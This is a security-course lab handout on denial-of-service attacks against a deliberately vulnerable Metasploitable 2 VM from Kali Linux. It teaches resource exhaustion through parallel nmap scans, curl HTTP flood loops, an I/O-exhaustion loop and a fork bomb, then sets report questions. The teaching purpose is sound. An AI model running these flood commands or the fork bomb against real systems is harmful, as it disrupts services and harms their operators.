

Exercise 06: Denial of Service

System Stress and Resource Exhaustion

Hiraku Morita

11 March 2026

Duration

40 minutes for hands-on exercise + **1 hour** for writing report

Purpose

This exercise focuses on learning the **core principles of Denial-of-Service (DoS)** attacks using **Metasploitable 2**. Metasploitable 2 is intentionally designed as a vulnerable virtual machine and does **not support system updates**, which makes it ideal for observing how limited-resource systems behave under load. You will observe how resource exhaustion leads to service degradation and system instability.

Learning Objectives

- Understand the fundamental concept of DoS: *resource exhaustion*.
- Observe how common services fail under excessive load.
- Recognize symptoms of DoS: high CPU usage, stalled services, long response times.
- Analyze the limits of a vulnerable system under stress.

Environment Setup

- **Victim:** Metasploitable 2 VM
- **Attacker:** Kali Linux VM
- Both must be on the same virtual network (NAT or Host-Only).

Identify the IP address of Metasploitable 2:

```
ifconfig
```

Task 1: Baseline Observation on Metasploitable 2 (5 minutes)

Open a terminal inside Metasploitable 2 and run:

```
top
```

Observe:

- CPU usage

- Memory usage
- Services: Apache, Tomcat, vsftpd, MySQL

List listening services:

```
netstat -tulnp
```

Note: Exiting top

Press **q** to leave **top** and return to the shell.

Task 2: Port Scan Load from Kali Linux (10 minutes)

Task 2 focuses on stressing the network layer of Metasploitable 2 by launching a high-intensity port scan from Kali Linux. Each scan forces the victim to handle thousands of incoming TCP connection attempts in a short period of time. Even though this is not a traditional DoS attack, the accumulated kernel work such as handling SYN packets, updating connection tables, and generating responses can reduce responsiveness or increase software interrupts. This task illustrates how network activity alone can begin to degrade system performance.

From **Kali Linux**, run a full TCP port scan:

```
nmap -T4 -p- <METASPLOITABLE IP>
```

Observe on Metasploitable 2 (via **top**):

- CPU activity (esp., Idle (id), Software Interrupt (si))
- Slower terminal responses
- Occasional spikes from Apache/Tomcat

Stronger Variant (Parallel Scans)

```
for i in {1..10}; do nmap -T4 -p- <METASPLOITABLE IP> & done
```

Observe what happens in Metasploitable 2's **top** command output as well.

Stop processes:

```
pkill nmap
```

Task 3: HTTP Request Flood (10 minutes)

In Task 3, you generate application-layer stress by sending many parallel HTTP requests from Kali Linux to Metasploitable 2. Unlike Task 2, which focuses on the network stack, this task overloads the Apache web server itself. By creating hundreds of simultaneous requests, you can observe worker exhaustion, delayed responses, and eventual service degradation.

From Kali Linux, :

```
curl http://<METASPLOITABLE IP>/
```

You sent a single HTTP request. What happens if you send multiple requests?

From Kali Linux, flood Apache with many parallel HTTP requests:

```
for i in {1..200}; do curl -s http://<METASPLOITABLE IP>/ >/dev/null & done
```

Observe on Metasploitable 2:

- Apache workers increasing
- CPU spikes
- curl delays or timeouts

Stronger Variant (Parallel Request)

```
for i in {1..500}; do curl -s http://<METASPLOITABLE IP>/ >/dev/null & done
```

Stop processes:

```
pkill curl
```

Task 4: I/O Exhaustion on Metasploitable 2 (10 minutes)

Task 4 is performed directly on Metasploitable 2. Unlike Tasks 2 and 3, where the load comes from Kali Linux, this task generates stress internally on the victim machine. By running multiple I/O-intensive processes in parallel, you intentionally exhaust CPU and disk resources. This allows you to observe typical DoS symptoms such as increased I/O wait, rising software interrupts, processes entering D-state, and overall system slowdown.

Run heavy I/O and CPU workload:

```
for i in {1..20}; do cat /dev/urandom | md5sum & done
```

Observe the workload via top window:

```
top
```

Effects:

- CPU and I/O saturation
- System lag or partial freeze
- Service response degradation

Stop processes:

```
pkill md5sum
```

(Optional) Task 5: Full System Freeze (5 minutes)

Task 5 launches a classic fork bomb on Metasploitable 2.

Warning: This will freeze the VM.

```
:(){ :|:& };:
```

†DoS Exercise Report (60 minutes)

This report corresponds directly to the tasks performed in the exercise. The report is optional but strongly recommended as preparation for the final exam.

1. Baseline System Behavior (Task 1)

Describe the normal state of Metasploitable 2 before any stress was applied:

- Overall CPU and memory usage
- Responsiveness of the system
- Services observed via `netstat -tulnp`
- Any observations from the initial `top` output

2. Effects of Port Scan Load (Task 2)

Summarize what happened during the port scans launched from Kali Linux:

- Changes in CPU usage or system responsiveness
- Apache/Tomcat behavior (e.g., increased activity or delays)
- Differences between normal and parallel scans
- At what point (if any) degradation became noticeable

3. Effects of HTTP Request Flood (Task 3)

Analyze how the Apache web service reacted to the HTTP flood:

- Changes in worker processes
- Delayed responses, timeouts, or command slowdowns
- Comparison between 200 and 500 parallel requests
- Which symptoms most clearly indicated stress

4. Effects of I/O Exhaustion (Task 4)

Describe the impact of the I/O-intensive workload:

- CPU and I/O usage during the `/dev/urandom | md5sum` loops
- System responsiveness (typing delay, lag, freezing)
- Any differences compared to Tasks 2 and 3

5. Comparison of DoS Techniques

Based on Tasks 2–4, compare the DoS-like effects:

- Which technique caused the fastest degradation?
- Which one was the most severe?
- Which types of resources were exhausted (CPU, I/O, workers)?

6. Log Evidence (Apache Logs)

Inspect and summarize relevant log entries:

```
/var/log/apache2/access.log  
/var/log/apache2/error.log
```

Discuss:

- Whether the DoS attempts were visible in the logs
- Any unusual errors or repeated entries
- What the logs reveal about service stress

7. Root Cause Analysis

Explain why Metasploitable 2 is easily disrupted:

- Outdated or poorly optimized services
- Lack of modern protections (e.g., rate limiting)
- Limited CPU and memory resources
- Architectural weaknesses visible during the tasks

8. Overall Lessons Learned

Reflect on what you learned from the entire exercise:

- Key insights about DoS as resource exhaustion
- The relationship between different types of workload and system failure
- How this exercise informs your understanding of real-world DoS attacks
- Try to construct other DoS attacks from Kali to Metasploitable 2. i.e., SYN flood, Connection exhaustion of MySQL, and so on